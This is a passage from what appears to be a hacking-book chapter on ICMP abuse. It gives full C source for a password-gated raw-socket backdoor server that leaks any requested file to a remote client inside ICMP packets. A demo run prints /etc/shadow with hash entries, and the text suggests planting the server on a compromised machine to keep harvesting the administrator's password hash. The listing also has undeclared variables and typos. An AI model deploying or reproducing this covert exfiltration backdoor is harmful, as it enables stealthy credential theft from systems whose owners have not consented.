This is a field that is located right after the ICMP header in the memory. When we add the size of the IP and ICMP header at the beginning of the buffer we will discover where the field is. Now we can place data that we want to send in this location. However, we have to remember to update some fields of the packet that tell about its size:

```
        ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct icmphdr) + strlen(data));
```

We have also to add to the total packet size the length of the data (strlen(data)).

```
        icmp->checksum=ip_sum((u_short*)icmp, sizeof(struct icmphdr)+strlen(data));
```

Furthermore, in generating the checksum of the ICMP header, we also have to remember to take its data into account. Otherwise the checksum won't correspond and the packet won't be delivered.

Let's take a closer look at the server code (**/CD/Chapter13/Listings/server.c**):

```
/* Server code, server.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>

#define PASSWORD "password"

/* Function generating IP and ICMP checksum */
unsigned short ip_sum (unsigned short *addr, int len)
{
      register int nleft = len;
      register u_short *w = addr;
```

```
      register int sum = 0;
      u_short answer = 0;

      while (nleft > 1)
      {
            sum += *w++;
            nleft -= 2;
      }

     if (nleft == 1)
      {
            *(u_char *) (&answer) = *(u_char *) w;
            sum += answer;
      }
      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      answer = ~sum;
      return (answer);
}

int main (int argc, char **argv)
{
      int sock, r1, r2;
      char buf[65536];
      char temp[1024];
      char *data;
      struct iphdr *ip; // IP header
      struct icmphdr *icmp; // ICMP header
      struct sockaddr_in du;
      int len = sizeof(du);
      char file[1024];
      int one = 1;
      int fd, ile, s;

      ip=(struct iphdr*)buf;
      icmp=(struct icmphdr*)(buf+sizeof(struct iphdr));
      data = (buf + sizeof(struct iphdr) + sizeof(struct icmphdr));
      if((sock=socket (PF_INET, SOCK_RAW, IPPROTO_ICMP))<0)
      {
            perror("socket()");
            exit(-1);
      }

      setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&one, sizeof(one));

      while(1)
      {
            memset(buf, 0, sizeof(buf));
            recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr*)&du, &len);
            if(*data && icmp->type == ICMP_ECHO)
            {
                  if(strncmp(dane, PASSWORD, strlen(PASSWORD)))
                        continue;
                  sscanf(data, "%*s %s", file);

                  memset(buf, 0, sizeof(buf));
```

```
    sprintf(data, "%s %s", PASSWORD, "START");

    /* HEADEARS */
    ip->version=4;
    ip->ihl=sizeof(struct iphdr)/4;
ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct icmphdr) +
strlen(data));
ip->id=htons(getpid() & 255);
    ip->ttl=64;
    ip->protocol=IPPROTO_ICMP;
    ip->daddr=du.sin_addr.s_addr;

    icmp->type=ICMP_TIME_EXCEEDED;
    icmp->code=0;
    icmp->checksum=0;
    icmp->checksum=ip_sum((u_short*)icmp,
                          sizeof(struct icmphdr)+strlen(data));

    len=sizeof(struct icmphdr)+sizeof(struct iphdr)+strlen(data);

    /* We send "START" */
    if((sendto(sock,buf,len,0,(struct sockaddr*)&du,sizeof(du)))==-1)
    {
          perror("sendto()");
          exit(1);
    }

    fd = open(file, O_RDONLY);
    if(fd == -1)
    {
          perror("open()");
          continue;
    }

    memset(temp, 0, sizeof(temp));

    /* Loop is sending the file to the client */
    while((howmuch = read(fd, temp, sizeof(temp)) > 0))
    {
          sprintf(data, "%s %s", PASSWORD, temp);
          s = strlen(data);

  ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct icmphdr) + s);

       icmp->checksum=0;
       icmp->checksum=ip_sum((u_short*)icmp, sizeof(struct icmphdr)+ s);

          len=sizeof(struct icmphdr)+sizeof(struct iphdr)+s;

        if((sendto(sock,buf,len,0,(struct sockaddr*)&du,sizeof(du)))==-1)
          {
                perror("sendto()");
                exit(1);
          }
          memset(temp, 0, sizeof(temp));
    }
```

```
                sprintf(data, "%s %s", PASSWORD, "END");
                s = strlen(data);
                ip->tot_len=htons(sizeof(struct iphdr)+sizeof(struct icmphdr) + s);
                icmp->checksum=0;
                icmp->checksum=ip_sum((u_short*)icmp, sizeof(struct icmphdr)+ s);
                len=sizeof(struct icmphdr)+sizeof(struct iphdr)+s;

                /* Sending "END" */
                if((sendto(sock,buf,len,0,(struct sockaddr*)&du,sizeof(du)))==-1)
                {
                      perror("sendto()");
                      exit(1);
                }
                memset(temp, 0, sizeof(temp));
           }
     }
     return 0;
}
```

We have also to remember to reset the buffers used during the creation of the packets after each packet is received. We do this using the memset() function:

```
memset(temp, 0, sizeof(temp));
memset(buf, 0, sizeof(buf));
```

Otherwise they could contain random data and our program wouldn't work as expected. With each successive packet we have to update the fields related to the size and to the ICMP checksum (just as we did with the client). The rest of the code probably doesn't need any comment because it is very similar to the code used in previous programs. We will now check how this works in practice.

```
bash-2.05b# gcc -o server server.c
bash-2.05b# gcc -o client client.c
bash-2.05b# ./server&
[1] 7765
bash-2.05b#
```

We start up the server in the background. Now we use the client:

```
bash-2.05b# ./client 127.0.0.1 /etc/shadow
File content / etc/shadow to:
root:$1$vG8imyet$45azceFq/a5kxpUl2jbeO/:12697:0:99999:5:::
bin:*:12669:0:99999:5:::
daemon:*:12669:0:99999:5:::
adm:*:12669:0:99999:5:::
lp:*:12669:0:99999:5:::
```

```
sync:*:12669:0:99999:5:::
shutdown:*:12669:0:99999:5:::
halt:*:12669:0:99999:5:::
mail:*:12669:0:99999:5:::
news:*:12669:0:99999:5:::
uucp:*:12669:0:99999:5:::
operator:*:12669:0:99999:5:::
games:*:12669:0:99999:5:::
ftp:*:12669:0:99999:5:::
stats:*:12669:0:99999:5:::
nobody:*:12669:0:99999:5:::
sshd:!!:12669:0:99999:5:::
postgres:$1$cavmcchv$t4eb.HdHsAkdyfZqIXDZM0:12669:0:99999:5:::
cvs:!!:12670:0:99999:5:::
user:$1$TWLYuXv4$v5wd3aCV5ssdWUAx6GxWZ1:12670:0:99999:5:::
http:!!:12733:0:99999:5:::

bash-2.05b#
```

We have thus sent the file using the ICMP protocol, although it wasn't created for this purpose. We can place our program on the compromised server in place of the backdoor presented in one of the previous chapters. This will allow a continuous check for the administrator password (of course, it will be in encrypted form).

Scanning ICMP

The ICMP protocol can also scan ports and even the whole topology of the specific network. The hping2 tool, for example, does this. This subject, however, is so vast that describing it would exceed the limits of this chapter. Luckily, free information is available online on this subject. Without doubt the best place to start reading about ICMP is "ICMP usage in scanning" by Ofir Arkin.

This publication can be downloaded from:

```
http://ofirarkin.files.wordpress.com/2008/11/icmp_scanning_v30.pdf
```

It presents many scanning methods using the ICMP protocol, as well as in conjunction with other techniques. We highly recommend this publication to the reader.

The designers of the Internet did their best many years ago to construct the network protocols so that they could be used for a long period of time. Without doubt they performed this task perfectly. Every one of the basic protocols created more than 30 years ago is still in use. However, they didn't foresee that together with the expansion of the global network and with increased transfer reliability, these protocols can be used for other purposes. Today, this has also brought about undesirable results, of which ICMP protocol abuses are just one example.